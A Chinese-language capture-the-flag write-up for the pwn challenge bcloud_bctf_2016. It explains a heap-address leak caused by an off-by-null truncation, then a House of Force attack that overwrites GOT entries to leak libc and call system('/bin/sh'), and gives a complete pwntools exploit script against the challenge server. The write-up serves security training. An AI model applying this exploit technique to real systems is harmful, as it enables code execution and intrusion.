找赵师傅题目复现:https://buuoj.cn/challenges#bcloud_bctf_2016
一道考察house_of_force的题目,思路如下:
leak heap
HOF 分配chunk到bss上记录chunk的大小和指针位置,这个时候我们可以任意写
修改free_got 到 puts_plt, delete leak libc
修改atoi_got 到 system,getshell
最开始拿到题目,找漏洞,发现如下:
原因在,先read了0x40,然后temp指针的地位被覆盖为\x00,然后给temp赋值,截断被覆盖掉了,然后strcpy的时候,由于没有了截断,就leak出来了temp的内容。
这个洞在后面还有
这个位置上,如出一辙的,出现了溢出,更为严重的是,org是与top_chunk紧邻的chunk,org会溢出到top_chunk的size位置,可以将它覆盖为一个很大的值,这样。我们就可以满足HOF的条件。
完
~~~python
from pwn import *
from p4f import core
context.log_level = 'debug'
p = core.Pwn("./bcloud_bctf_2016","node3.buuoj.cn",26009,True)
def menu(idx):
p.ru("option--->>\n")
p.sl(str(idx))
def add(size,content):
menu(1)
p.ru("Input the length of the note content:\n")
p.sl(str(size))
p.ru("Input the content:\n")
p.sl(content)
def edit(idx,content):
menu(3)
p.ru("Input the id:\n")
p.sl(str(idx))
p.ru("Input the new content:\n")
p.sl(content)
def delete(idx):
menu(4)
p.ru("Input the id:\n")
p.sl(str(idx))
def z():
core.Log("heap = ", heap)
core.debug(p)
elf = ELF('./bcloud_bctf_2016')
atoi_got = elf.got['atoi']
free_got = elf.got['free']
puts_plt = elf.plt['puts']
~~~
~~~python
p.ru("Input your name:\n")
p.s('\xff'*0x40)
p.rn(0x44)
heap = u32(p.rn(4))
~~~
~~~python
p.ru("Org:\n")
p.s('\xff'*0x40)
p.ru("Host:\n")
p.s('\xff'*0x40)
topchunk_addr = heap + 0xd0
target_addr = 0x804B0a0
true_size = (target_addr - topchunk_addr) - 0x10 - 0x4
add(true_size,'')
~~~
计算size的方法在ctfwiki中HOF的章节:https://wiki.x10sec.org/pwn/heap/house_of_force/
~~~python
add(0x200,'a'*0x80 + p32(atoi_got)+p32(atoi_got)+p32(free_got))
edit(2,p32(puts_plt))
delete(1)
atoi = u32(p.rn(4))
obj = p.leakLibc("atoi",atoi)
system_addr = p.libcbase + obj.dump("system")
~~~
~~~python
edit(0,p32(system_addr))
p.sl("/bin/sh")
p.ia()
~~~
~~~python
from pwn import *
from p4f import core
context.log_level = 'debug'
p = core.Pwn("./bcloud_bctf_2016","node3.buuoj.cn",26009,True)
def menu(idx):
p.ru("option--->>\n")
p.sl(str(idx))
def add(size,content):
menu(1)
p.ru("Input the length of the note content:\n")
p.sl(str(size))
p.ru("Input the content:\n")
p.sl(content)
def edit(idx,content):
menu(3)
p.ru("Input the id:\n")
p.sl(str(idx))
p.ru("Input the new content:\n")
p.sl(content)
def delete(idx):
menu(4)
p.ru("Input the id:\n")
p.sl(str(idx))
def z():
core.Log("heap = ", heap)
core.debug(p)
elf = ELF('./bcloud_bctf_2016')
atoi_got = elf.got['atoi']
free_got = elf.got['free']
puts_plt = elf.plt['puts']
p.ru("Input your name:\n")
p.s('\xff'*0x40)
p.rn(0x44)
heap = u32(p.rn(4))
p.ru("Org:\n")
p.s('\xff'*0x40)
p.ru("Host:\n")
p.s('\xff'*0x40)
topchunk_addr = heap + 0xd0
target_addr = 0x804B0a0
true_size = (target_addr - topchunk_addr) - 0x10 - 0x4
add(true_size,'')
add(0x200,'a'*0x80 + p32(atoi_got)+p32(atoi_got)+p32(free_got))
edit(2,p32(puts_plt))
delete(1)
atoi = u32(p.rn(4))
obj = p.leakLibc("atoi",atoi)
system_addr = p.libcbase + obj.dump("system")
z()
edit(0,p32(system_addr))
p.sl("/bin/sh")
p.ia()
~~~
- 用户输入在leak的内容前
- 如果没有截断,可以直接输入满,然后就会leak出来之后的内容
- 如果read函数存在截断:
- 检测'\n',如果检测到'\n',则替换成'\x00',这种的话,只要在输入范围内不出现'\n'就是没有截断
- 不讲道理,到句末截断,不管最后是啥。这种应该是leak不出来的
- 第三种,就是这道题的,存在一个off-by-null的截断,如果之后覆盖了截断,就可以leak。
- 用户输入在leak的内容后
应该是没有什么问题的。这道题,如果先声明指针,后声明输入的buf,则不存在leak。
- 这一种leak
- 可以修改下一个chunk的pre_inuse,构造unlink或者是其他extend
-
leak heap
-
HOF 分配chunk到bss上记录chunk的大小和指针位置,这个时候我们可以任意写
-
修改free_got 到 puts_plt, delete leak libc
-
修改atoi_got 到 system,getshell
- add malloc的size是用户输入的size+4,如果malloc(size)的话,由于存在off-by-null,还可以试一下unlink
- 我很怀疑输入getname和org,host有洞,但是没看出来
- 测试了几波数据,发现name输入0x40的话,会leak出来数据,本来我感觉有点奇怪,因为read函数中是有截断的,怎么会leak出来heap呢?
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!
最后于 2020-1-22 09:08
被wx_yz编辑
,原因: 错了一个数据